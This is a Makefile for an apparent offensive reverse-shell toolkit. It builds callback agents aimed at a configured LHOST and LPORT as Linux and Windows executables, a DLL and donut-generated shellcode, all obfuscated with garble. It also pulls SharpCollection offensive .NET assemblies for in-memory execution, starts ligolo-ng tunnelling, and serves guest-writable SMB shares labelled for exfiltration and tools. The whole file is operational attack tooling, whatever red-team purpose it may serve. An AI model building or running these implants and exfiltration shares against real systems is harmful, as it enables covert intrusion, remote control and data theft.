Makefile

##############
# DEPENDENCY MANAGEMENT
##############
LIGOLO_REPO = https://github.com/nicocha30/ligolo-ng
LIGOLO_DIR = ligolo-ng
LIGOLO_BIN = $(GOBIN)/ligolo
GODONUT = $(GOBIN)/go-donut
GARBLE = $(GOBIN)/garble
FZF = $(GOBIN)/fzf

# Build the proxy for ligolo-ng 
$(LIGOLO_BIN): $(LIGOLO_DIR)
	go build -o $(LIGOLO_BIN) $(LIGOLO_DIR)/cmd/proxy/main.go

# Clone the official ligolo-ng repository
$(LIGOLO_DIR):
	git clone $(LIGOLO_REPO)

# Install go-donut
$(GODONUT):
	go install github.com/Binject/go-donut@latest

# Install garble
$(GARBLE):
	go install mvdan.cc/garble@latest

# Install fzf
$(FZF):
	go install github.com/junegunn/fzf@latest

install: $(LIGOLO_BIN) $(GODONUT) $(GARBLE) $(FZF)
	@echo "All dependencies are installed !"
	@mkdir -p /tmp/tmux-$$(id -u)
	@timeout 1 nc -lkU /tmp/tmux-$$(id -u)/default
	@echo "Default socket file created for initiating tmux sessions !"

##############
#  CONFIGS
##############
# used for artifact naming
APP ?= agent
SERVER = ./server

# artifact output directory
OUT ?= build

# build command prefix
BUILD = $(GARBLE) -seed=random -literals -tiny build

# operation systems to build for
PLATFORMS = linux windows darwin

# host the reverse shell will call back to
INTERFACE ?= ""
LPORT ?= ""
LHOST ?= ""

# exfil and tool path to serve over smb
TOOLS ?= /srv
EXFIL ?= /srv

ASSEMBLY_PATH = pkg/execute_assembly/embed
assembly_repo = https://api.github.com/repos/flangvik/sharpcollection/contents/
target_vers = 4.5

##############
#    SET SSL
#  CERTIFICATES
##############
SRV_KEY = certs/server.key
SRV_PEM = certs/server.pem
FINGERPRINT = $(shell openssl x509 -fingerprint -sha256 -noout -in ${SRV_PEM} | cut -d '=' -f2)

$(SRV_KEY) $(SRV_PEM) &:
	mkdir -p certs
	openssl req -subj '/CN=localhost/O=Localhost/C=US' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout ${SRV_KEY} -out ${SRV_PEM}
	@cat ${SRV_KEY} >> ${SRV_PEM}

##############
#  ADVANCED
#   CONFIG
##############
# sets mingw for dll target when not windows
ifneq ($(UNAME), Windows)
	DLLCC=x86_64-w64-mingw32-gcc
endif
# embeds paramaters
LDFLAGS_SERVER = "-s -w -X main.Iface=$(INTERFACE) -X main.Host=$(LHOST) -X main.Port=$(LPORT) -X main.fingerPrint=${FINGERPRINT}"
LDFLAGS_AGENT = "-s -w -X main.connectString=${LHOST}:${LPORT} -X main.fingerPrint=${FINGERPRINT}"
# references the calling target within each block
target = $(word 1, $@)


##############
# MAKE TARGETS
##############
all: $(PLATFORMS) shellcode dll ## makes all windows, shellcode, dll, linux, darwin targets

linux: $(SRV_KEY) install ## make the linux agent
	GOOS=${target} ${BUILD} \
		-buildmode pie \
		-ldflags ${LDFLAGS_AGENT} \
		-o ${OUT}/${APP}_linux \
		cmd/gorsh/main.go

windows: $(SRV_KEY) install ## make the windows agent
	GOOS=${target} ${BUILD} \
		-buildmode pie \
		-ldflags ${LDFLAGS_AGENT} \
		-o ${OUT}/${APP}.exe \
		cmd/gorsh/main.go

server: $(SRV_KEY) $(LIGOLO_BIN) install ## make the listening server
	${BUILD} \
		-buildmode pie \
		-ldflags ${LDFLAGS_SERVER} \
		-o ${target} \
		cmd/gorsh-server/main.go

shellcode: $(GODONUT) install windows ## generate PIC windows shellcode
	${GODONUT} --arch x64 --verbose \
		--in ${OUT}/${APP}.windows \
		--out ${OUT}/${APP}.windows.bin 

dll: install ## creates a windows dll. exports are definded in `cmd/gorsh-dll/dllmain.go`
	CGO_ENABLED=1 CC=${DLLCC} \
	GOOS=windows ${BUILD} \
		-buildmode=c-shared \
		-trimpath \
		${ZSTD.windows} \
		-ldflags ${LDFLAGS_AGENT} \
		-o ${OUT}/${APP}.windows.dll \
		cmd/gorsh-dll/dllmain.go

listen: $(SERVER) ## start listening for callbacks on LPORT
	$< -p ${LPORT} -i ${LHOST}

##############
# LIGOLO MGMT
##############
start-ligolo:  ## configures the necessary tun interfaces and starts ligolo. requires root
	sudo ip tuntap add user $$LOGNAME mode tun ligolo
	sudo ip link set ligolo up
	$(LIGOLO_BIN) -selfcert


##############
# CIFS MGMNT
##############
export DOCKERSMB SMBCONF
.docker/data/config.yml:
	@echo "$$SMBCONF" > $@

export DOCKERSMB SMBCONF
docker-compose.yml:
	@echo "$$DOCKERSMB" > $@

start-smb: docker-compose.yml .docker/data/config.yml ## starts docker-smb containers that are needed by the upload/download commands. requires root
	podman-compose up -d --force-recreate

stop-smb: ## stop the smb container
	podman stop samba

smblogs: ## monitor incoming smb connections
	docker logs -f samba | tail -f | grep 'connect\|numopen'


##############
# ASSEMBLY EMBEDDING
##############
.assemblies.cache:
	curl -o $(@F) -H "Accept: application/vnd.github.v3+json" \
	${assembly_repo}/NetFramework_${target_vers}_Any

list-assemblies: .assemblies.cache ## list available assemblies to embed
	jq -r '.[].name' < $< | tr [:upper:] [:lower:]

choose-assemblies: $(FZF) ## choose assemblies to embed w/ fzf
	@$(MAKE) -s list-assemblies | $(FZF) -m | while read asm; do \
		$(MAKE) --no-print-directory ${ASSEMBLY_PATH}/$$asm.gz; \
	done

.ONESHELL:
$(ASSEMBLY_PATH)/%.gz: .assemblies.cache
	echo "[*] Preparing ${target}"
	url=$$(jq -r '.[] | {name, download_url} | .name|=ascii_downcase | select(.name == "$*") | .download_url' < $<)
	echo "[*] $${url} > ${target}"
	curl -sL "$${url}" | gzip -> ${target}

clean: ## reset the project
	rm -rf ${OUT} docker-compose.yml .docker/data/* .assemblies.cache .state/*

superclean: clean ## also delete assemblies and certs
	rm pkg/execute_assembly/embed/* certs/*


##############
# TEMPLATE DEFINITIONS
##############

define DOCKERSMB
version: "3.8"
services:
 samba:
  image: docker.io/crazymax/samba:latest
  container_name: samba
  environment:
   SAMBA_LOG_LEVEL: 2
  ports:
   - "445:445"
  volumes:
   - "./.docker/data:/data"
   - "${EXFIL}:/samba/exfil"
   - "${TOOLS}:/samba/tools"
  restart: always
endef

define SMBCONF
auth:
  - user: foo
    group: foo
    uid: 1000
    gid: 1000
    password: bar
global:
  - "force user = foo"
  - "force group = foo"
share:
  - name: e
    path: /samba/exfil
    browsable: no
    readonly: no
    guestok: yes

  - name: t
    path: /samba/tools
    browsable: no
    readonly: no
    guestok: yes
endef


.DEFAULT_GOAL = help
help:
	@grep -h -E '^[\$a-zA-Z\._-]+:.*?## .*$$' $(MAKEFILE_LIST) | awk 'BEGIN {FS = ":.*? ## "}; {printf "\033[36m%-30s\033[0m %s\n", $$1, $$2}'

.PHONY: help clean smblogs server stop-smb start-smb start-ligolo dll shellcode listen shellcode $(PLATFORMS) all list-assemblies choose-assemblies